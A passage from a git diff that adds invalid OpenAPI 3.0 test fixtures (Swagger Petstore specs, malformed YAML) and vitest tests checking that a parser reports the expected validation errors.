+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      },
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Updates a pet in the store with form data",
+        "description": "",
+        "operationId": "updatePetWithForm",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet that needs to be updated",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/x-www-form-urlencoded": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "name": {
+                    "description": "Updated name of the pet",
+                    "type": "string",
+                    "required": false
+                  },
+                  "status": {
+                    "description": "Updated status of the pet",
+                    "type": "string",
+                    "required": false
+                  }
+                }
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Deletes a pet",
+        "description": "",
+        "operationId": "deletePet",
+        "parameters": [
+          {
+            "name": "api_key",
+            "in": "header",
+            "required": false,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "Pet id to delete",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/{petId}/uploadImage": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "uploads an image",
+        "description": "",
+        "operationId": "uploadFile",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to update",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ApiResponse"
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/octet-stream": {
+              "schema": {
+                "type": "string",
+                "format": "binary"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/inventory": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Returns pet inventories by status",
+        "description": "Returns a map of status codes to quantities",
+        "operationId": "getInventory",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "integer",
+                    "format": "int32"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      }
+    },
+    "/store/order": {
+      "post": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Place an order for a pet",
+        "description": "",
+        "operationId": "placeOrder",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid Order"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "order placed for purchasing the pet",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/order/{orderId}": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Find purchase order by ID",
+        "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+        "operationId": "getOrderById",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of pet that needs to be fetched",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1,
+              "maximum": 10
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Delete purchase order by ID",
+        "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+        "operationId": "deleteOrder",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of the order that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      }
+    },
+    "/user": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Create user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "createUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Created user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/user/createWithArray": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithArrayInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/createWithList": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithListInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/login": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs user into the system",
+        "description": "",
+        "operationId": "loginUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "query",
+            "description": "The user name for login",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "password",
+            "in": "query",
+            "description": "The password for login in clear text",
+            "required": true,
+            "schema": {
+              "type": "string",
+              "format": "password"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "headers": {
+              "X-Rate-Limit": {
+                "description": "calls per hour allowed by the user",
+                "schema": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              },
+              "X-Expires-After": {
+                "description": "date in UTC when token expires",
+                "schema": {
+                  "type": "string",
+                  "format": "date-time"
+                }
+              }
+            },
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "string"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username/password supplied"
+          }
+        }
+      }
+    },
+    "/user/logout": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs out current logged in user session",
+        "description": "",
+        "operationId": "logoutUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        }
+      }
+    },
+    "/user/{username}": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Get user by user name",
+        "description": "",
+        "operationId": "getUserByName",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be fetched. Use user1 for testing. ",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      },
+      "put": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Updated user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "updateUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "name that need to be updated",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid user supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Updated user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Delete user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "deleteUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      }
+    }
+  },
+  "externalDocs": {
+    "description": "Find out more about Swagger",
+    "url": "http://swagger.io"
+  },
+  "components": {
+    "schemas": {
+      "Order": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "petId": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "quantity": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "shipDate": {
+            "type": "string",
+            "format": "date-time"
+          },
+          "status": {
+            "type": "string",
+            "description": "Order Status",
+            "enum": [
+              "placed",
+              "approved",
+              "delivered"
+            ]
+          },
+          "complete": {
+            "type": "boolean",
+            "default": false
+          }
+        },
+        "xml": {
+          "name": "Order"
+        }
+      },
+      "Category": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Category"
+        }
+      },
+      "User": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "username": {
+            "type": "string"
+          },
+          "firstName": {
+            "type": "string"
+          },
+          "lastName": {
+            "type": "string"
+          },
+          "email": {
+            "type": "string"
+          },
+          "password": {
+            "type": "string"
+          },
+          "phone": {
+            "type": "string"
+          },
+          "userStatus": {
+            "type": "integer",
+            "format": "int32",
+            "description": "User Status"
+          }
+        },
+        "xml": {
+          "name": "User"
+        }
+      },
+      "Tag": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Tag"
+        }
+      },
+      "Pet": {
+        "type": "object",
+        "required": [
+          "name",
+          "photoUrls"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "category": {
+            "$ref": "#/components/schemas/Category"
+          },
+          "name": {
+            "type": "string",
+            "example": "doggie"
+          },
+          "photoUrls": {
+            "type": "array",
+            "xml": {
+              "name": "photoUrl",
+              "wrapped": true
+            },
+            "items": {
+              "type": "string"
+            }
+          },
+          "tags": {
+            "type": "array",
+            "xml": {
+              "name": "tag",
+              "wrapped": true
+            },
+            "items": {
+              "$ref": "#/components/schemas/Tag"
+            }
+          },
+          "status": {
+            "type": "string",
+            "description": "pet status in the store",
+            "enum": [
+              "available",
+              "pending",
+              "sold"
+            ]
+          }
+        },
+        "xml": {
+          "name": "Pet"
+        }
+      },
+      "ApiResponse": {
+        "type": "object",
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "type": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    },
+    "responses": {},
+    "parameters": {},
+    "examples": {},
+    "requestBodies": {
+      "requestBody1": {
+        "content": {
+          "application/json": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          },
+          "application/xml": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          }
+        }
+      },
+      "requestBody2": {
+        "content": {
+          "application/json": {
+            "description": "List of user object",
+            "schema": {
+              "type": "array",
+              "items": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "securitySchemes": {
+	  "jwt": {
+	  	"type": "scheme",
+		"scheme": "bearer",
+		"bearerFormat": "JWT"
+	  },
+      "petstore_auth": {
+        "type": "oauth2",
+        "flow": {
+          "implicit": {
+            "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+            "scopes": {
+              "write:pets": "modify pets in your account",
+              "read:pets": "read your pets"
+            }
+          }
+        }
+      },
+      "api_key": {
+        "type": "apiKey",
+        "name": "api_key",
+        "in": "header"
+      }
+    },
+    "headers": {}
+  }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.test.ts
new file mode 100644
index 0000000..1524912
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/incorrectSecType.test.ts
@@ -0,0 +1,15 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import incorrectSecType from './incorrectSecType.json'
+
+describe('incorrectSecType', () => {
+  it('returns an error', async () => {
+    const result = await resolve(incorrectSecType)
+
+    // TODO: Shouldn’t this metnion the incorrect security type?
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.test.ts
new file mode 100644
index 0000000..abafc71
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import info_summary from './info_summary.yaml'
+
+describe('info_summary', () => {
+  it('returns an error', async () => {
+    const result = await resolve(info_summary)
+
+    expect(result.errors?.[0]?.error).toBe(
+      'Property summary is not expected to be here',
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.yaml
new file mode 100644
index 0000000..3376756
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/info_summary.yaml
@@ -0,0 +1,6 @@
+openapi: 3.0.0
+info:
+  title: API
+  summary: My lovely API
+  version: 1.0.0
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.test.ts
new file mode 100644
index 0000000..ef1b8fe
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import internalPathItemRef from './internalPathItemRef.yaml'
+
+describe.todo('internalPathItemRef', () => {
+  it('returns an error', async () => {
+    const result = await resolve(internalPathItemRef)
+
+    // TODO: Swagger Editor
+    //
+    // Resolver error at paths./test.$ref
+    // Could not resolve reference: undefined undefined
+    expect(result.errors?.[0]?.error).toBe(
+      `something something internal path item ref`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.yaml
new file mode 100644
index 0000000..c32a2e2
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/internalPathItemRef.yaml
@@ -0,0 +1,12 @@
+openapi: 3.0.0
+info:
+  title: Test invalid internal $ref of PathItem
+  version: 1.0.0
+
+servers:
+- url: https://acme.com/api/v1
+
+paths:
+  /test:
+    $ref: '#/paths/test2'
+  /test2: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.test.ts
new file mode 100644
index 0000000..2fca322
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import invalidPattern from './invalidPattern.yaml'
+
+describe('invalidPattern', () => {
+  it('returns an error', async () => {
+    const result = await resolve(invalidPattern)
+
+    // TODO: Swagger Editor
+    //
+    // Resolver error at paths./test.$ref
+    // Could not resolve reference: undefined undefined
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.yaml
new file mode 100644
index 0000000..2647cda
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidPattern.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.0
+info:
+  title: Invalid pattern
+  version: 1.0.0
+paths: {}
+components:
+  schemas:
+    test:
+      type: string
+      # lookbehind patterns validate ok in Node >= 8.10.0
+      pattern: '['
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.json
new file mode 100644
index 0000000..15bcfe8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.json
@@ -0,0 +1,1072 @@
+{
+  "openapi": "3.0.0-RC0",
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v2"
+    }
+  ],
+  "x-origin": [
+    {
+      "url": "http://petstore.swagger.io/v2/swagger.json",
+      "format": "swagger",
+      "version": "2.0",
+      "converter": {
+        "url": "https://github.com/mermade/swagger2openapi",
+        "version": "1.2.1"
+      }
+    }
+  ],
+  "info": {
+    "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "email": "apiteam@swagger.io"
+    },
+    "license": {
+      "name": "Apache 2.0",
+      "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+    }
+  },
+  "tags": [
+    {
+      "name": "pet",
+      "description": "Everything about your Pets",
+      "externalDocs": {
+        "description": "Find out more",
+        "url": "http://swagger.io"
+      }
+    },
+    {
+      "name": "store",
+      "description": "Access to Petstore orders"
+    },
+    {
+      "name": "user",
+      "description": "Operations about user",
+      "externalDocs": {
+        "description": "Find out more about our store",
+        "url": "http://swagger.io"
+      }
+    }
+  ],
+  "paths": {
+    "/pet": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Add a new pet to the store",
+        "description": "",
+        "operationId": "addPet",
+        "parameters": [],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      },
+      "put": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Update an existing pet",
+        "description": "",
+        "operationId": "updatePet",
+        "parameters": [],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          },
+          "405": {
+            "description": "Validation exception"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      }
+    },
+    "/pet/findByStatus": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by status",
+        "description": "Multiple status values can be provided with comma separated strings",
+        "operationId": "findPetsByStatus",
+        "parameters": [
+          {
+            "name": "status",
+            "in": "query",
+            "description": "Status values that need to be considered for filter",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid status value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/findByTags": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by tags",
+        "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+        "operationId": "findPetsByTags",
+        "parameters": [
+          {
+            "name": "tags",
+            "in": "query",
+            "description": "Tags to filter by",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid tag value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "deprecated": true
+      }
+    },
+    "/pet/{petId}": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Find pet by ID",
+        "description": "Returns a single pet",
+        "operationId": "getPetById",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to return",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      },
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Updates a pet in the store with form data",
+        "description": "",
+        "operationId": "updatePetWithForm",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet that needs to be updated",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/x-www-form-urlencoded": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "name": {
+                    "description": "Updated name of the pet",
+                    "type": "string",
+                    "required": false
+                  },
+                  "status": {
+                    "description": "Updated status of the pet",
+                    "type": "string",
+                    "required": false
+                  }
+                }
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Deletes a pet",
+        "description": "",
+        "operationId": "deletePet",
+        "parameters": [
+          {
+            "name": "api_key",
+            "in": "header",
+            "required": false,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "Pet id to delete",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/{petId}/uploadImage": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "uploads an image",
+        "description": "",
+        "operationId": "uploadFile",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to update",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ApiResponse"
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/octet-stream": {
+              "schema": {
+                "type": "string",
+                "format": "binary"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/inventory": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Returns pet inventories by status",
+        "description": "Returns a map of status codes to quantities",
+        "operationId": "getInventory",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "integer",
+                    "format": "int32"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      }
+    },
+    "/store/order": {
+      "post": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Place an order for a pet",
+        "description": "",
+        "operationId": "placeOrder",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid Order"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "order placed for purchasing the pet",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/order/{orderId}": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Find purchase order by ID",
+        "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+        "operationId": "getOrderById",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of pet that needs to be fetched",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1,
+              "maximum": 10
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Delete purchase order by ID",
+        "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+        "operationId": "deleteOrder",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of the order that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      }
+    },
+    "/user": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Create user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "createUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Created user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/user/createWithArray": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithArrayInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/createWithList": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithListInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/login": {
+      "get": {
+        "tags": [
+          "user"
